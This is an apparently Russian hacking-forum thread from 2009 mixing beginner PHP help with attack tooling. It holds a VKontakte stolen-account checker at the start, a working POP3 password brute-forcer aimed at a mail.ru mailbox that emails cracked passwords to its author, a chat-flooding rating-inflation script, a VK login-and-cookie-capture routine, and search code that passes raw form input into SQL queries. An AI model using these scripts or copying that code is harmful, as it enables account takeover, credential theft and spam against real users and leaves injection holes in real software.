preg_match('/Друзья <span>(.*)</i',$retfri, $friends);
$friends = str_replace("(","",$friends);
$friends = str_replace(")","",$friends);
$friends = str_replace("</span></h2>","",$friends);
$friendz = $friendz + $friends[1];
if($friends[1] > 500) {
$friendszzzz = "<b>".$friends[1]."</b>"; }
else {
$friendszzzz = $friends[1]; }
if(strlen($id[1]) < 6) {
$idch = "<b>".$id[1]."</b>"; }
else {
$idch = $id[1]; }
if(!preg_match('/percentGold" style="width:100px">(.*)</',$ret, $rate))
{
preg_match('/percent" style="width:100px">(.*)</',$ret, $rate);
if($rate[1] == "100%") {
$rrrr = "FULL RATE";
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
} else {
$rrrr = "RATE"; }
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc</td> <td>$rate[1] - $rrrr</td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";
}
else
{
$ratemin = str_replace("%","",$rate[1]);
if($ratemin < 30) {
fputs($fbad, $acc);
$badacc++; }
if(strlen($rate[1]>0) && $ratemin > 30) echo "<tr><td>$acc <td><b>$rate[1] - GOLD RATE</b></td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";
$goldcount++;
}
}
usleep(500);
}
function socket_do($host,$vars,$service_uri,$browser,$cooki es='',$sread=1,$method='POST',$ref='',$addheaders= 1,$proxy=false,$proxyport=0,$HTTP='1.0')
{
$ret="";
if($method=='GET' && $vars)
{
$service_uri.='?'.$vars;
$vars='';
}
$header="Host: $host\r\n";
$header.="User-Agent: $browser\r\n";
if($addheaders==1)
{
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
$header.="Content-Length: ".strlen($vars)."\r\n";
}
else if($addheaders==0)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: \r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
}
else if($addheaders==2)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: \r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$header.="Pragma: no-cache\r\n";
$header.="Cache-Control: no-cache\r\n";
$header.="Content-Length: ".strlen($vars)."\r\n";
$header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
}
else if($addheaders==3)
{
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header.="Accept-Encoding: gzip,deflate\r\n";
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
}
if($ref) $header.="Referer: $ref\r\n";
$header.="Connection: close\r\n";
if($cookies)
$header.="Cookie: $cookies\r\n";
$header.="\r\n";
if($proxy)
{
$addquery="$method http://$host$service_uri HTTP/$HTTP\r\n";
$fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30);
}
else
{
$addquery="$method $service_uri HTTP/$HTTP\r\n";
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
}
stream_set_timeout($fp,30);
if(!$fp)
{
print "<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
return '';
}
fputs($fp,$addquery);
fputs($fp,$header.$vars);
if($sread)
{
while(!feof($fp))
{
$ret.=fgets($fp, 128);
}
}
fclose($fp);
return $ret;
}
fclose($fval);
fclose($fbad);
$invalid = $aaaa - $valid;
$ratecount = $valid - $goldcount;
$traffic = $traffic / 1024;
выручайте, знаю, вы сможете :)
нужно чтоб записывал валидные акки с каждой новой строкой
fputs($fval, $acc);
=>
fputs($fval, $acc."\n");
-m0rgan-
10.03.2009, 23:21
РЕ адепты!
снова я с вопросом...*Застыдился*
В общем как сделать такую фичу, как у вас в быстром отвере, что типа клацаеш а В и в текстовом поле появляется
И как кделать так, чтоб html, php и прочья вредная х-ня не обрабатывались в форме?
Зарание спасибо!
РЕ адепты!
снова я с вопросом...*Застыдился*
В общем как сделать такую фичу, как у вас в быстром отвере, что типа клацаеш а В и в текстовом поле появляется
И как кделать так, чтоб html, php и прочья вредная х-ня не обрабатывались в форме?
Зарание спасибо!
Всмысле в цитатах? там выборка идет из БАЗЫ.
Для передачи быстрого ответа достаточно отправить форму с текстом..
-m0rgan-
10.03.2009, 23:30
Не, я клацаю на https://forum.antichat.net/fusion/editor/bold.gif и в поле ввода текста появляется ббкод [B], вот это мне нужно осуществить...
В общем,как проверить IP по диапазону,не генерируя весь диапазон?
Диапазон в таком формате.
77.40.124.106/31
bombeg всё работает, спасибо :)
ща мож не по теме будет, кто знает как денвер настроить чтоб он контактовал не тока с gprs подключением, отключая прокси, но чтоб ещё можно было с прокси работать?
Объясняю, у меня запрос земля (жопорез) - приём со спутника, инёт держится через ускоритель, а та прокся что прописана, в настройках браузера и есть само подключение со спутником... проблема в том, что подключение через gprs очень дорого((( вот и хочется чтоб с проксей работал.. включаю прокси, вылазит ошибка подкл.
понятно так о чем я?
m0Hze function netMatch ($CIDR,$IP) {
list ($net, $mask) = explode ('/', $CIDR);
return ( ip2long ($IP) & ~((1 << (32 - $mask)) - 1) ) == ip2long ($net);
}
var_dump(netMatch('127.0.0.0/16','127.0.0.51'));
вот имею такой скрипт поиска:
$search=$_POST['search'];
$query= mysql_query("SELECT * FROM list WHERE surname='$search' OR name='$search' OR patronymic= '$search' ORDER BY surname");
$result= mysql_num_rows($query);
if ($result == 0)
{
echo "Ничего не найдено по запросу <b>$search</b><br><br><br>";
}
else if ($result == 1)
{
echo "Найден<b>1</b> результат!<br><br><br>";
}
else {
echo "Найдено <b>$result</b> результата(ов)!<br><br><br>";
}
while ($row= mysql_fetch_array($query))
{
echo "<tr class=\"name_result\"><td>$row[surname] $row[name]</td></tr>";
}
name имя
surname фамилия
patronymic отчество
и одна форма поиска.
если искать только имя или только фамилию, то претензий нет..а если Имя фамилию, или Ф.И.О то естественно ничего не находит...
как быть в таком случае?
я вообще не пойму на че ты расчитываешь :)
во первых, если у тебя три параметра поиска (ФИО), то и полей ввода в форме должно быть 3. А у тебя как я понял одна. Понял я это из этого:
$search=$_POST['search'];
теперь о твоем запросе. Тебе нужно логической И, а не ИЛИ. т.е. если ищешь ФИО должно выглядить так:
SELECT * FROM list WHERE surname='$surname' and name='$name' and patronymic= '$patronymic' ORDER BY surname
(если тебе нужен конкретный человек с ФИО, а не куча людей с одинаковыми именами или фамилиями или отчествами)
если выложишь скрипт включая форму, могу показать напримере. хотя че тут показывать? и так вроде все понятно
ну вроде сделал.
если правильно понял)
форма
<form method="POST" action="search.php">
<table border="0" cellspacing="0" cellpadding="2" class="table_search" width="100%">
<tr>
<td width="120px"><div id="name">Фамилия</div></td>
<td><input type="text" id="textfield" name="surname" class="add_pl" /> </td>
</tr>
<tr>
<td><div id="name">Имя</div></td>
<td><input type="text" id="textfield2" name="name" class="add_pl" /></td>
</tr>
<tr>
<td><div id="name">Отчество</div></td>
<td><input type="text" name="patronymic" id="textfield2" class="add_pl" /></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="submit" value="Поиск" class="add_but" /></td>
</tr>
</table><br />
</form>
и сам поиск
$name=$_POST['name'];
$surname=$_POST['surname'];
$patronymic=$_POST['patronymic'];
//тут был фильтр входных данных
$query= mysql_query("SELECT * FROM list WHERE surname LIKE '$surname' OR name LIKE '$name' OR patronymic LIKE '$patronymic' ORDER BY surname");
$result= mysql_num_rows($query);
if ($result == 0)
{
echo "Ничего не найдено по запросу <b>.$surname. .$name. .$patronymic.</b><br><br><br>";
}
else if ($result == 1)
{
echo "Найден <b>1</b> результат!<br><br><br>";
}
else {
echo "Найдено <b>$result</b> результата(ов)!<br><br><br>";
}
while ($row= mysql_fetch_array($query))
{
echo "<tr class=\"name_result\"><td>$row[surname] $row[name] $row[patronymic]</td></tr>";
}
bombeg всё работает, спасибо :)
ща мож не по теме будет, кто знает как денвер настроить чтоб он контактовал не тока с gprs подключением, отключая прокси, но чтоб ещё можно было с прокси работать?
Объясняю, у меня запрос земля (жопорез) - приём со спутника, инёт держится через ускоритель, а та прокся что прописана, в настройках браузера и есть само подключение со спутником... проблема в том, что подключение через gprs очень дорого((( вот и хочется чтоб с проксей работал.. включаю прокси, вылазит ошибка подкл.
понятно так о чем я?
в браузере можно отключать хостам прокси. для удобства советую делать локальные домены *.lan. соответственно в браузере запретить прокси для *.lan.
mailbrush
11.03.2009, 17:47
Есть строка $str="sadfdsf1s4f6sdf4"; мне надо чтобы после каждых двух символов скрипт поставил пробел. т.е. должно получиться sa df ds f1 s4 f6 sd f4. Либо в массив загнать по два символа.
wildshaman
11.03.2009, 17:56
<?
$str="123456789";
while ($i<strlen($str))
{
$b.=substr($str,$i,2);
$b.=" ";
$i=$i+2;
}
echo $b;
?>
Простите за мой быдлокод)
или так
$str = '1234567890';
$a = '';
for ($i=0; $i<strlen($str); $i++) {
$a .= ($i%2) ? $str[$i] . ' ' : $str[$i];
}
echo $a; // 12 34 56 78 90
Подскажите пожалуйста, имеется нубо-чат (chat.kotok.by) На нем есть страница с формой отправки сообщения. Нужно сделать скрипт для авто-запроса отправки сообщений (накрутка рейтинга) Вот запрос с live http headers при отправке сообщения:
http://chat.kotok.ru/room.php?id=44989&password=antichat&ver=wml&rid=4&nocache=765880126
POST /room.php?id=44989&password=antichat&ver=wml&rid=4&nocache=765880126 HTTP/1.1
Host: chat.kotok.ru
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061015 Firefox/3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://chat.kotok.ru/room.php?id=44989&password=antichat&nocache=&rid=4&ver=wml
Cookie: PHPSESSID=ioc4q87ca0drvoobeip5judlb5
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
msg=TESTING_MESSAGE&translit=&attributs=&fsize=&emotions=0
HTTP/1.x 200 OK
Server: nginx/0.6.34
Date: Wed, 11 Mar 2009 14:25:06 GMT
Content-Type: text/vnd.wap.wml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Last-Modified: Wed, 11 Mar 2009 14:25:06 GMT
Cache-Control: no-cache, must-relative
помогите написать сам запрос через сокет плиз, пробовал сам, успехом не увенчалось :-/
Не заходит на сайт...так не видно,что слать нужно.
Перейди в закладку "Генератор" и там будет отображаться нужный POST или GET запрос
мммм это wap сайт, я юзал wmlbrowser (плагин к лисе)
вот что показывает в генераторе при нажатии на ссылку отправки текста
POST /room.php?id=44989&password=antichat&ver=wml&rid=4&nocache=562872190 msg=TESTING_MESSAGE&translit=&attributs=&fsize=&emotions=0
mailbrush
11.03.2009, 19:47
awdrg, Писал сразу тут. Проверь пашет ли...
Форум режет \р\н.. Вот скрипт http://bestquest.info/php/auto.txt
не работает, ни одно сообщение не отправилось (ошибки синтаксиса исправил)
свежий тоже не работает
mailbrush
11.03.2009, 19:57
http://bestquest.info/php/auto.txt - обновленный. пробуй
mailbrush
11.03.2009, 20:09
хз, отснифай навископом - кинь запрос сюда...
mailbrush
11.03.2009, 20:19
Хотя... пробуй третий вариант - http://bestquest.info/php/auto.txt. Во втором я точки забыл поставить
awdrg, прости за акк))
<?php
$count = 999;
for($i=0;$i<$count;$i++) {
$post = 'msg=TESTING_MESSAGE'.rand(1111,9999).'&translit=&attributs=&fsize=&emotions=0';
$opts = array(
'http' => array(
'method' => 'POST',
'user_agent' => 'Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061015 Firefox/3.0',
'content' => $post
)
);
$context = stream_context_create($opts);
file_get_contents('http://chat.kotok.ru/room.php?id=44989&password=antichat&ver=wml&rid=4',
false, $context);
}
?>
mailbrush, омг, учебник хоть полистай
mailbrush
12.03.2009, 10:58
Я stream_context_create не юзал. Всегда сокеты, которые работали отлично.
А... Вот в чем ошибка была. $out.='msg=TESTING_MESSAGE&translit=&attributs=&fsize=&emotions=0\r\n'; надо было на конец поставить... Совсем запутался.
Говно. всегда юзаю курл :)
ЕСть переменная вида xxxYY где x это число а Y это строка
Как из переменной выдрать число? (число может быть любой динны)
Народ встречаю всегда кое где символ
->
Что это? Где про него можно почитать?
Народ встречаю всегда кое где символ
->
Что это? Где про него можно почитать?
Вроде обращение к объекту...
mailbrush
12.03.2009, 15:44
ЕСть переменная вида xxxYY где x это число а Y это строка
Как из переменной выдрать число? (число может быть любой динны)
preg_match (регулярки)
preg_match (регулярки)
preg_match('|([0-9]+)|',$text,$match);
Помоему так,я с моба.
mailbrush
12.03.2009, 16:13
<?
$text="123456789sdfkjnsodfnsdnfjsn";
preg_match('|([0-9]+)|',$text,$out);
echo $out[0];
?>
mailbrush
12.03.2009, 17:24
Хех, а ведь в регулярках есть дигит \d
<?
$text="7902bdfzss666";
preg_match('/([\d]+)/',$text,$out);
echo $out[0]
?>
-=Static=-
12.03.2009, 17:36
ЕСть переменная вида xxxYY где x это число а Y это строка
Как из переменной выдрать число? (число может быть любой динны)
Если формат записи строго xxxYYY где xxx - цифры, то логичнее всего сделать так:
<?
$str = "1234qwer";
echo intval($str);
Хех, а ведь в регулярках есть дигит \d
<?
$text="7902bdfzss666";
preg_match('/([\d]+)/',$text,$out);
echo $out[0]
?>
=\ тогда уже
preg_match('/(\d+)/',$text,$out);
Народ встречаю всегда кое где символ
->
Что это? Где про него можно почитать?
ап
-=Static=-
12.03.2009, 19:34
ап
Для доступа к полям структуры через указатель на структуру служит операция стрелочка, которая обозначается двумя символами −> (минус и знак больше), их нужно рассматривать как одну неразрывную лексему (т.е. единый знак, единое слово). Пусть S — имя структуры, f — некоторое поле структуры S, p — указатель на структуру S. Тогда выражение
p−>f
обозначает поле f структуры S (само поле, а не указатель не него!). Это выражение можно записать, используя операцию звездочка (доступ к объекту через указатель),
p−>f ~ (*p).f
но, конечно, первый способ гораздо нагляднее. (Во втором случае круглые скобки вокруг выражения *p обязательны, поскольку приоритет операции точка выше, чем операции звездочка.)
В ПХП нет указателей, но операция -> используется для получения доступа к методам и свойствам объекта.
Добрый вечер, ачатовцы! =)
Подскажите пожалуйста или дайте скрипт(ы) чтобы при заливки картинки на сайт она обесцвечивалась(становила ь чёрно-белая)
Pashkela
13.03.2009, 00:05
Было уже, именно в этой теме, юзай поиск:
<pre>
<?
@set_time_limit(0);
@ini_set("display_errors","1");
$s_file="1.jpg"; //Файл исходник
$r_file="2.jpg"; //Куда сохранить результат
wb($s_file,$r_file); //Запускаем функцию преобразования картинки
/* Функция для преобразования цветной картинки в черно-белую */
Function wb($file1,$file2) {
//Получаем данные о картинке (высота и ширина)
list($width, $height) = getimagesize($file1);
// Начинаем работу над исходником
$source = imagecreatefromjpeg($file1);
$bwimage= imagecreate($width, $height);
//Создаем 256 цветную палитру
for ($c=0;$c<256;$c++)
{
$palette[$c] = imagecolorallocate($bwimage,$c,$c,$c);
}
//Функция для преобразования rgb-пикселей в черно-белый цвет
function yiq($r,$g,$b)
{
return (($r*0.299)+($g*0.587)+($b*0.114));
}
//Считываем цветовые пиксели (один за другим)
for ($y=0;$y<$height;$y++)
{
for ($x=0;$x<$width;$x++)
{
$rgb = imagecolorat($source,$x,$y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
//А здесь мы преобразуем все цветные пиксели в черно-белые с помощью функции yiq
$gs = yiq($r,$g,$b);
imagesetpixel($bwimage,$x,$y,$palette[$gs]);
}
}
// Сохраняем нашу получившуюся картинку
imagejpeg($bwimage,$file2);
ImageDestroy($bwimage);
Echo "Done";
}
?>
</pre>
Gray_Wolf
13.03.2009, 00:40
Народ встречаю всегда кое где символ
->
Что это? Где про него можно почитать?
Читайте про ООП в PHP.
Символ -> используется для обращения к методу или полю обьекта.
Т.е.
Например у нас есть класс "test_class", внетри него есть переменная $param, и функция t_func();
Если мы хотим обратиться к ним внутри этого же класса то мы пишем:
$this->param=4;
$this->t_func();
А если обращаемся из основного документа к которому подключили этот класс, то:
$test_object = new test_class;
$test_object->param=3;
$test_object->t_func();
И это рекомендую почитать:
http://php.su/learnphp/phpoo/?classes
Gray_Wolf
13.03.2009, 02:18
Да и вообще, тем кто решил заняться PHP:
Первый скрипт на PHP я написал месяц назад.(давно хотел посмотреть почему этот язык так популярен, да ещё и свободное время появилось)
Для первого эксперимента было выбрано написание простенького парсера.
-Почему?
1) Разобраться со стандартными средствами языка. (Условия, циклы, работа со строками, работа с переменными, функции, процедуры)
2) Разобраться с регулярными выражениями.
3) Разобраться с тем как работать с MySql из под PHP.(парсер заносил результат в таблицу БД)
4) Разобраться с методами подключения к удалённым сайтам (cUrl, сокеты)
Вооружившись книгой(купленной за год до этого :) ) и гуглом, я написал парсер для торрент движка tbdev за 2 дня.
В ходе написания были выполнены все поставленные выше задачи.
Рекомендую изначально привыкать к использованию функций.
С чего я начал:
1. Достал скрипт который подключался к удалённой странице и заносил её содержимое в переменную.
Подправил этот скрипт под себя, и занёс в функцию.
2. Сохранил 1 из страниц которую парсер должен читать на хард. Начал писать парсер(отдельный скрипт который читал ХТМЛ c харда) для этой страницы. После написания загнал его код в отдельную функцию.
3. Начал писать скрипт который заносил данные в MySql, и тоже запихнул его в отдельную функцию.
В итоге у меня появились следующие функции:
1. Функция скачивания страцицы. (принимала ссылку и возвращала текст страницы в текстовой переменной)
2. Функция парсер. (принимала тексторую переменную с кодом страницы и возвращала массив с данными)
3. Функция сохранения данных. (принимала массив данных и заносила его в нужные колонки таблицы MySql)
Удобство такого метода написания программ в том, что каждую функцию мы пишем и отлаживаем отдельно, после чего забываем о ней и переходим к следующей функции.(решаем каждую проблему отдельно)
Далее я стал разбираться с ООП, и переписал скрипт в виде класса.
В tbdev ссылки формируются так:
http://tb.SITE.ru/details.php?id=1 //где ID-номер раздачи
Скрипт для использования класса, стал выглядеть примерно так:
<?
include ("pars.inc"); //подключаем свой класс
$par = new Pars(); //создаём обьект
for ($i=500; $i<2500; $i++) { //указываем номера раздач для парсинга
$par->Go($i); //Запускаем парсер
}
?>
Это конечно не лучшее применение ООП, но оно позволяет разобраться что к чему.
В итоге, на приобретение начальных навыков чтения несложного кода ушло 3 дня.
AkyHa_MaTaTa
13.03.2009, 02:23
Gray_Wolf заведи себе блог и пиши там, извини конечно за резкость но тут твоим статьям немного не место.
-=Static=-
13.03.2009, 02:31
AkyHa_MaTaTa, +1
Gray_Wolf
13.03.2009, 02:38
2AkyHa_MaTaTa, -=Static=- какаяж это статья? Этот так, бред сумашедшего.
(сам незнаю почему но у меня врождённое отторжение ко всему что касается блогов, дневников, etc.)
Pashkela
13.03.2009, 02:46
а по мне, так парень дело пишет, а не хрень, как 80% здесь
Если посмотреть на звание топа то - "[php] Новичкам: задаем вопросы", конечно никто не спорит, может он и дело пишет, но немного в не том топе, я также могу написать как я 2 года назад начел разберать с пхп, да и каждый может, но имхо в определеном топе.
.:EnoT:.
13.03.2009, 10:11
Pashkela +1
То что он написал по крайней мере 80% отписывающихся в этой теме даже во сне не видели)
mailbrush
13.03.2009, 16:08
<?php
echo "<title>Special For DJ</title>
<b>Сюда пишешь аськи в виде \"Много текста бла бла бла 123456;34%7№№ блаба\" а скрипт выберет только аськи!</b>
<form method=post>
<textarea name=uins rows=18 cols=60></textarea><br>
<input type=submit value='Давай ка сотрем лишнее!'>";
if(isset($_POST['uins']))
{
$uins=explode("\r\n",$_POST['uins']);
echo "<br><br><br><b>Result:</b><br><textarea rows=18 cols=20>";
for($i=0;$i<=count($uins);$i++)
{
preg_match("/([0-9]{6,9}[;]{1}[\S]{1,8})/",$uins[$i],$out);
echo $out[$i]."\r\n";
}
echo "</textarea>";
}
?> Почему даный скрипт обрабатывает только первых два номера?
Есть мега логическая задача для браузерной игры : )
В игре есть карта (возьмём 200*200)
Карта собой представляет таблицу в БД по кадой точке...тоесть x1 y1, x1 y2, x1 y3....x200 y200
Есть ячейка element которая отвечает за занятось клетки на игровом поле.
Центр карты естественно точка x100 y100
Игрок при старте выбирает направление в котором он хочет появиться (северо-запад, юго-восток и т.д.)
Допустим он выбрал Юго-Восток значит он распологается в квадрате x100-x200 y100-y200 (нижний-правый квадрат)
Задача: расположить игроков начиная с центра карты...(чтоб пресутствовало между ними растояние от 1 до 4 клеток и чтоб они друг на друга не попали)
Задавайте вопросы, по поводу что уточнить.
Gray_Wolf
13.03.2009, 17:01
2mailbrush а вы почитайте описание функции preg_match :)
И замените
echo $out[$i]."\r\n";
на
echo $out[1]."\r\n";
mailbrush
13.03.2009, 17:14
Gray_Wolf, спс!
Player#1
13.03.2009, 19:11
Всем доброго времени суток!
Вопрос: какой функцией можно преобразовать строку, в вид %D0%BB%D0%BE%D0%BB ?
Например, после ввода запроса в яндексе, в адресной строке наш запрос выглядит таким образом: text=%D0%BB%D0%BE%D0%BB
Пробовал использовать функцию urlencode() и rawurlencode(). Но результат другой(
zifanchuck
13.03.2009, 19:18
Player#1 я себе тоже захотел на локалхосте зделать)
зделал так
хтмл форма
<form method="GET" action = "yandex.php" target="_blank">
Поиск по Яндексу: <input type="text" name="name">
<input type="submit" name="okbutton" value="Искать"> </form>
и сам обработчик yandex.php
<?php
$zap = $_GET['name'];
$http = "http://yandex.ru/yandsearch?rpt=rad&text=";
echo '<script> window.location=("', $http, $zap,'"); </script>"';
?>
Писал на втором дне изучения пхп так что непинайте))) главное что пашет)
Player#1
13.03.2009, 19:24
Мне не нужен поиск по яндексу... Мне нужна функция преобразования строки, похожая на urlencode(). Каким образом яндекс делает из строки "лол" - "%D0%BB%D0%BE%D0%BB" ???
PS Ответ найден! Необходимо было сменить кодировку в UTF-8.
Всем доброго времени суток!
Вопрос: какой функцией можно преобразовать строку, в вид %D0%BB%D0%BE%D0%BB ?
Например, после ввода запроса в яндексе, в адресной строке наш запрос выглядит таким образом: text=%D0%BB%D0%BE%D0%BB
Пробовал использовать функцию urlencode() и rawurlencode(). Но результат другой(
$str="лол"
echo urlencode(iconv(mb_detect_encoding($str), "UTF-8",$str));
Dima851992
13.03.2009, 20:07
привет может у кавота есть скрипт который приглашает друзя в групу на mail.ru
coolZIRO
13.03.2009, 20:37
Здравствуйте, помогите настроить брутфорс. Необходимо что-бы он работал в автономном режиме на сервере и результаты отправлял на e-mail
Или может у кого есть? Поделитесь кому не жалко.
Что тут не так:
<?php
$port=110;
$host='pop3.mail.ru';
$login='coolziro';
$passwords="123.txt";
set_time_limit(0);
$FID=fopen($passwords,"r");
while(!feof($FID))
{
$pass=str_replace("\r","",fgets($FID));
$pass=str_replace("\n","",$pass);
echo "$pass<br>\r\n";
flush();
$s=fsockopen($host, $port);
if(!$s)
die("Не могу соединиться <b>[$host:$port]</b>!");
$line=fread($s, 256);
if(!ereg("\+OK(.*)",$line))
die("Хрень какая-то. Ты точно на pop сервер коннектишься?");
fputs($s,"USER $login\r\n");
$line=fread($s, 256);
if(ereg("-ERR(.*)",$line))
die("Неверный логин <b>$login</b>!");
fputs($s,"PASS $pass\r\n");
$line=fread($s, 256);
if(!ereg("-ERR(.*)",$line))
die;
$from = "brutfors@mail.ru";
$to = "coolziro@inbox.ru";
$subj = " Пароль от ящика: $Login @ mail.ru,";
$body = " Логин: $login \n Пароль: $Pass";
$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";
$from=convert_cyr_string($from,"w","k");
$to=convert_cyr_string($to,"w","k");
$subj=convert_cyr_string($subj,"w","k");
$body=convert_cyr_string($body,"w","k");
mail($to,$subj,$body,$from);
fclose($s);
}
echo "Работа завершина. Пароль не найден =((";
?>
coolZIRO поп3 блочится при массовых запросах
Yest qotoviy skript s smtp autenticationom. mojet eqo ispolzuyesh??
nmodern@mail.ru kin pismo otpravlyu. No tam mnoqo ceqo yest vsyo v odin skript ne zasunesh.
mne nujna pomosh s sql injection k mojet pomoch ochen proshu.
Dima851992
13.03.2009, 22:57
NModern напиши мне здесь скрипт
помоги плиз люди.=) где тут лог снифера находится? уже весь сайт перерыл.
заранее спасибо :confused:
Есть файл вида:
Titlexx
Datexx
Commentsxx
Userxx
Titleyyy
Dateyyy
Commentsyyy
Useryyy
Titlezxc
Datezxc
Cmmentszxc
Userzxc
И так далее...
Тоесть нужно разбить строки по 4 строки и занести в массив.
Помогите пожалйуста :-)
mailbrush
14.03.2009, 11:30
Т.е. должно быть 4 массива? Или что в массив занести? Говори конкретнее!
.:EnoT:.
14.03.2009, 11:33
eD']Есть файл вида:
Titlexx
Datexx
Commentsxx
Userxx
Titleyyy
Dateyyy
Commentsyyy
Useryyy
Titlezxc
Datezxc
Cmmentszxc
Userzxc
И так далее...
Тоесть нужно разбить строки по 4 строки и занести в массив.
Помогите пожалйуста :-)
Ну думается что так:
<?php
$str = 'Titlexx
Datexx
Commentsxx
Userxx
Titleyyy
Dateyyy
Commentsyyy
Useryyy
Titlezxc
Datezxc
Cmmentszxc
Userzxc';
preg_match_all('#((.+)[\r\n]?){4}#', $str, $out);
print_r($out);
?>
Результ:
Array
(
[0] => Array
(
[0] => Titlexx
Datexx
Commentsxx
Userxx
[1] => Titleyyy
Dateyyy
Commentsyyy
Useryyy
[2] => Titlezxc
Datezxc
Cmmentszxc
Userzxc
)
Массив $out[0] будет сдержать массивы по 4 слова.
Соответственно, если данные в файле, то $str = file_get_contents('file.txt');
Да, спасибо, вродебы все правльно.
BiG_][aKeR
14.03.2009, 15:00
Кто знает,как можно получать письма через pop3?
Плиз,ненадо тут сейчас отписывать ссылки на классы для етого,в них ничего не понять,лучше подскажите может есть у кого то пример,или какой то понятный простым смертным класс для етого...
Нужно сделать словарь: 8символов, знаки: A-Z, a-z, 0-9, в каждом слове должно быть обезательно 1 (и больше) из букв A-Z и 1 (и больше) из букв a-z, и записать все это в txt фаил
BiG_][aKeR
14.03.2009, 17:20
НTL,ето тебе точно не в тему php новичкам... те в форумы - розшифровка хешей,там есть проги норм для создания словарей=)
mailbrush
14.03.2009, 17:24
BiG_][aKeR, разными генераторами такое не сделаешь, а в пхп или жабаскрипт - можно!
mailbrush
14.03.2009, 17:34
Вот, на жабаскрипт написал. Вместо 1000000 подставь кол-во пассов. Он выведет их на экран. И запишешь себе в файл ручками (жабаскрипты не могут писать чтото в файл). Или тебе суто на пхп надо?
Тупой форум, пробелы ставит. bestquest.info/script.txt - вот залил сюда.
mailbrush
14.03.2009, 17:36
Вопервых, пхп и javascript ето РАЗНЫЕ язики апсолютно!) Вовторых,никто на яваскрипте его делать небудет вам,развешто на пхп,на яваскрипте как на меня уже больно сложно и тупо будет такое сделать
Да ты что? А я и не знал, прикинь что это разные языки, ты меня просветил!!! На жабаскрипт даже легче чем на пхп!
InferNo23
14.03.2009, 17:39
Вот, на жабаскрипт написал.
http://www.ivan.my1.ru/forum/19-96-1
копипаст
mailbrush
14.03.2009, 17:43
InferNo23, не копипаст. Скрипт писал я еще в начале 2008, когда только начал изучать азы хтмл. Не знаю кто, как и когда и на какие юкозовские форумы его копипастил...
НTL Удачи в генерации. Размер текстовика со всеми комбинациями будет (62^8)*9 Если учитывать разделитель \n. Итого 1 965 060 950 264 064. С вашим условием чуть меньше - вы уже приготовили хард на полтора эксабайта?
Прошу показать пример авторизации вконтакте.Желательно с помощью fsockopen.Или курл(но тогда с комментами- плохо понимаю эту библиотеку.Thx
Прошу показать пример авторизации вконтакте
Скачай движек fasebook там все как в контакте!
Эм.Я немного не так выразился.Пример авторизации МОЕГО скрипта в соц.сети "вконтакте".Для последующего парсинга своей страницы.
fatalo Скачать сниффер, например LiveHTTPHeaders для огнелиса. Включить его и авторизоваться на вконтакт. Повторить запрос буква в букву
Эм.Я немного не так выразился.Пример авторизации МОЕГО скрипта в соц.сети "вконтакте".Для последующего парсинга своей страницы.
<?
$login = 'test@mail.ru';
$passw = 'test';
$browser = 'Mozilla 4.0';
$ck = login($login, $passw);
print $ck;
function login($acc, $pass) {
$acc=urlencode($acc);
$pass=urlencode($pass);
$ret=socket_do("vkontakte.ru","email={$acc}&pass={$pass}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,$pr,$pp);
$ret=substr($ret,0,strpos($ret,"\r\n\r\n"));
if(strpos($ret,"Location: id")===false) die("err");
preg_match_all("/Set-Cookie: ([\s\S]+); expires=/isU",$ret,$m);
$cook="";
$tcnt=0;
foreach($m[1] as $ck)
{
$tcnt++;
if($tcnt==1 || strpos($ck,'remixcookietest=')!==false) continue;
$cook.=$ck.'; ';
}
$cook=substr($cook,0,strlen($cook)-2);
return $cook;
}
function socket_do($host,$vars,$service_uri,$browser,$cooki es='',$sread=1,$method='POST',$ref='',$addheaders= 1,$proxy=false,$proxyport=0,$HTTP='1.0')
{
$ret="";
if($method=='GET' && $vars)
{
$service_uri.='?'.$vars;
$vars='';
}
$header="Host: $host\r\n";
$header.="User-Agent: $browser\r\n";
if($addheaders==1)
{
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
